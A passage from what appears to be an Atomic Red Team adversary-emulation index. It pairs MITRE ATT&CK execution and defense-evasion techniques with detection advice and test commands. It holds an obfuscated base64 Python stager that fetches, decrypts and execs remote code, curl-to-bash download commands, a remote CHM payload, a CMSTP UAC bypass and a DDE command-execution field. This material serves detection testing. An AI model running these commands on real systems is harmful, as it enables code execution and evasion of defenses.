command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\"
| python &""
'
T1191:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Process use of network
- Windows event logs
x_mitre_permissions_required:
- User
name: CMSTP
description: |-
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.
CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
x_mitre_remote_support: false
id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3
modified: '2019-06-13T18:55:24.133Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.
Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)
* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.
* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
- Nik Seetharaman, Palantir
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1191
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1191
- source_name: Microsoft Connection Manager Oct 2009
description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved
April 11, 2018.
url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
- source_name: Twitter CMSTP Usage Jan 2018
description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe...
Retrieved April 11, 2018.
url: https://twitter.com/ItsReallyNick/status/958789644165894146
- source_name: MSitPros CMSTP Aug 2017
description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April
11, 2018.
url: https://msitpros.com/?p=3960
- source_name: Twitter CMSTP Jan 2018
description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution
applocker bypass. Retrieved April 11, 2018.
url: https://twitter.com/NickTyrer/status/958450014111633408
- source_name: GitHub Ultimate AppLocker Bypass List
description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
April 10, 2018.
url: https://github.com/api0cradle/UltimateAppLockerByPassList
- source_name: Endurant CMSTP July 2018
description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code
Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.
url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
x_mitre_defense_bypassed:
- Application whitelisting
- Anti-virus
identifier: T1191
atomic_tests:
- name: CMSTP Executing Remote Scriptlet
description: 'Adversaries may supply CMSTP.exe with INF files infected with
malicious commands
'
supported_platforms:
- windows
input_arguments:
inf_file_path:
description: Path to the INF file
type: path
default: T1191.inf
executor:
name: command_prompt
elevation_required: false
command: 'cmstp.exe /s #{inf_file_path}
'
- name: CMSTP Executing UAC Bypass
description: 'Adversaries may invoke cmd.exe (or other malicious commands) by
embedding them in the RunPreSetupCommandsSection of an INF file
'
supported_platforms:
- windows
input_arguments:
inf_file_uac:
description: Path to the INF file
type: path
default: T1191_uacbypass.inf
executor:
name: command_prompt
elevation_required: false
command: 'cmstp.exe /s #{inf_file_uac} /au
'
T1059:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: Command-Line Interface
description: |-
Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).
Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.
x_mitre_remote_support: false
id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Command-line interface activities can be captured through
proper logging of process execution with command-line arguments. This information
can be useful in gaining additional insight to adversaries' actions through
how they use native processes or custom tools.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:49.546Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1059
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1059
- source_name: Wikipedia Command-Line Interface
description: Wikipedia. (2016, June 26). Command-line interface. Retrieved
June 27, 2016.
url: https://en.wikipedia.org/wiki/Command-line_interface
modified: '2019-07-16T20:46:59.350Z'
identifier: T1059
atomic_tests:
- name: Command-Line Interface
description: |
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
This will download the specified payload and set a marker file in `/tmp/art-fish.txt`.
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: sh
command: |
bash -c "curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059/echo-art-fish.sh | bash"
bash -c "wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Atomics/T1059/echo-art-fish.sh | bash"
T1223:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Compiled HTML File
description: |-
Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
x_mitre_remote_support: false
id: attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a
modified: '2019-07-16T20:59:55.841Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.
Monitor presence and use of CHM files, especially if they are not typically used within an environment.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International
created: '2018-10-17T00:14:20.652Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1223
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1223
- description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved
October 3, 2018.
source_name: Microsoft HTML Help May 2018
url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
- description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved
October 3, 2018.
source_name: Microsoft HTML Help ActiveX
url: https://msdn.microsoft.com/windows/desktop/ms644670
- description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved
October 3, 2018.
source_name: Microsoft HTML Help Executable Program
url: https://msdn.microsoft.com/windows/desktop/ms524405
- description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using
CHM – CVE-2017-8625. Retrieved October 3, 2018.
source_name: MsitPros CHM Aug 2017
url: https://msitpros.com/?p=3909
- description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer
Security Feature Bypass Vulnerability. Retrieved October 3, 2018.
source_name: Microsoft CVE-2017-8625 Aug 2017
url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1223
atomic_tests:
- name: Compiled HTML Help Local Payload
description: 'Uses hh.exe to execute a local compiled HTML Help payload.
'
supported_platforms:
- windows
input_arguments:
local_chm_file:
description: Local .chm payload
type: path
default: C:\atomic-red-team\atomics\T1223\src\T1223.chm
executor:
name: command_prompt
elevation_required: false
command: 'hh.exe #{local_chm_file}
'
- name: Compiled HTML Help Remote Payload
description: 'Uses hh.exe to execute a remote compiled HTML Help payload.
'
supported_platforms:
- windows
input_arguments:
remote_chm_file:
description: Remote .chm payload
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1223/src/T1223.chm
executor:
name: command_prompt
elevation_required: false
command: 'hh.exe #{remote_chm_file}
'
'':
technique:
x_mitre_data_sources:
- Anti-virus
- Process command-line parameters
- Process monitoring
x_mitre_permissions_required:
- User
name: User Execution
description: "An adversary may rely upon specific actions by a user in order
to gain execution. This may be direct code execution, such as when a user
opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)
with the icon and apparent extension of a document file. It also may lead
to other execution techniques, such as when a user clicks on a link delivered
via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads
to exploitation of a browser or application vulnerability via [Exploitation
for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries
may use several types of files that require a user to execute them, including
.doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. \n\nAs an example,
an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into
clicking to execute the malicious payload.(Citation: Proofpoint TA505 June
2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086)
commands. Payloads may be included into the .lnk file itself, or be downloaded
from a remote server.(Citation: FireEye APT29 Nov 2018)(Citation: PWC Cloud
Hopper Technical Annex April 2017) \n\nWhile User Execution frequently occurs
shortly after Initial Access it may occur at other phases of an intrusion,
such as when an adversary places a file in a shared directory or on a user's
desktop hoping that a user will click on it."
id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.
Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Oleg Skulkin, Group-IB
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1204
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1204
- description: Proofpoint Staff. (2018, June 8). TA505 shifts with the times.
Retrieved May 28, 2019.
source_name: Proofpoint TA505 June 2018
url: https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times
- source_name: FireEye APT29 Nov 2018
description: 'Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable
Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27,
2018.'
url: https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
- source_name: PWC Cloud Hopper Technical Annex April 2017
description: 'PwC and BAE Systems. (2017, April). Operation Cloud Hopper:
Technical Annex. Retrieved April 13, 2017.'
url: https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
modified: '2019-06-21T16:28:44.872Z'
atomic_tests: []
T1196:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
x_mitre_data_sources:
- API monitoring
- Binary file metadata
- DLL monitoring
- Windows Registry
- Windows event logs
- Process command-line parameters
- Process monitoring
name: Control Panel Items
description: |-
Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)
For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)
Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.
x_mitre_remote_support: false
id: attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)
Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:
* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)
* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)
* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)
Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-07-16T21:10:28.299Z'
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1196
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1196
- source_name: Microsoft Implementing CPL
description: M. (n.d.). Implementing Control Panel Items. Retrieved January
18, 2018.
url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
- source_name: TrendMicro CPL Malware Jan 2014
description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control
Panel Items. Retrieved January 18, 2018.
url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
- source_name: TrendMicro CPL Malware Dec 2013
description: Bernardino, J. (2013, December 17). Control Panel Files Used
As Malicious Attachments. Retrieved January 18, 2018.
url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
- source_name: Palo Alto Reaver Nov 2017
description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New
Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.
url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
identifier: T1196
atomic_tests:
- name: Control Panel Items
description: 'This test simulates an adversary leveraging control.exe to execute
a payload and pops calc
'
supported_platforms:
- windows
input_arguments:
cpl_file_path:
description: path to cpl file
type: path
default: calc.cpl
executor:
name: command_prompt
elevation_required: false
command: 'control.exe #{cpl_file_path}
'
T1173:
technique:
x_mitre_data_sources:
- API monitoring
- DLL monitoring
- Process monitoring
- Windows Registry
- Windows event logs
x_mitre_permissions_required:
- User
name: Dynamic Data Exchange
description: |-
Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)
Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.
x_mitre_remote_support: false
id: attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)
Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.
Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1173
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1173
- description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature
in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.
source_name: BleepingComputer DDE Disabled in Word Dec 2017
url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
- source_name: Microsoft ADV170021 Dec 2017
description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office
Defense in Depth Update. Retrieved February 3, 2018.
url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
- source_name: Microsoft DDE Advisory Nov 2017
description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440
- Securely opening Microsoft Office documents that contain Dynamic Data
Exchange (DDE) fields. Retrieved November 21, 2017.
url: https://technet.microsoft.com/library/security/4053440
- source_name: SensePost PS DDE May 2016
description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The
Power Within. Retrieved November 22, 2017.
url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
- description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities.
Retrieved November 22, 2017.
source_name: Kettle CSV DDE Aug 2014
url: https://www.contextis.com/blog/comma-separated-vulnerabilities
- source_name: Enigma Reviving DDE Jan 2018
description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and
Excel for Code Execution. Retrieved February 3, 2018.'
url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
- source_name: SensePost MacroLess DDE Oct 2017
description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code
Exec in MSWord. Retrieved November 21, 2017.
url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
- source_name: NVisio Labs DDE Detection Oct 2017
description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents.
Retrieved November 21, 2017.
url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
modified: '2019-07-24T17:34:38.321Z'
identifier: T1173
atomic_tests:
- name: Execute Commands
description: 'Executes commands via DDE using Microsfot Word
'
supported_platforms:
- windows
executor:
name: manual
steps: |
Open Microsoft Word
Insert tab -> Quick Parts -> Field
Choose = (Formula) and click ok.
After that, you should see a Field inserted in the document with an error "!Unexpected End of Formula", right-click the Field, and choose Toggle Field Codes.
The Field Code should now be displayed, change it to Contain the following:
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }
T1118:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: InstallUtil
description: |-
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
x_mitre_remote_support: false
id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b
modified: '2019-07-31T18:11:14.192Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and arguments
of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior
history of known good arguments and executed binaries to determine anomalous
and potentially adversarial activity. Command arguments used before and after
the InstallUtil.exe invocation may also be useful in determining the origin
and purpose of the binary being executed.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
- Travis Smith, Tripwire
created: '2017-05-31T21:31:27.510Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1118
url: https://attack.mitre.org/techniques/T1118
- description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved
July 1, 2016.
source_name: MSDN InstallUtil
url: https://msdn.microsoft.com/en-us/library/50614e95.aspx
- description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.
source_name: LOLBAS Installutil
url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/
x_mitre_defense_bypassed:
- Process whitelisting
- Digital Certificate Validation
identifier: T1118
atomic_tests:
- name: InstallUtil uninstall method call
description: 'Executes the Uninstall Method
'
supported_platforms:
- windows
input_arguments:
filename:
description: location of the payload
type: Path
default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll
executor:
name: command_prompt
elevation_required: false
command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library
/out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs
\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile=
/LogToConsole=false /U #{filename}\n"
- name: InstallUtil GetHelp method call
description: 'Executes the Uninstall Method
'
supported_platforms:
- windows
input_arguments:
filename:
description: location of the payload
type: Path
default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll
executor:
name: command_prompt
elevation_required: false
command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library
/out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs
\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /?
#{filename}\n"
T1152:
technique:
x_mitre_permissions_required:
- User
- Administrator
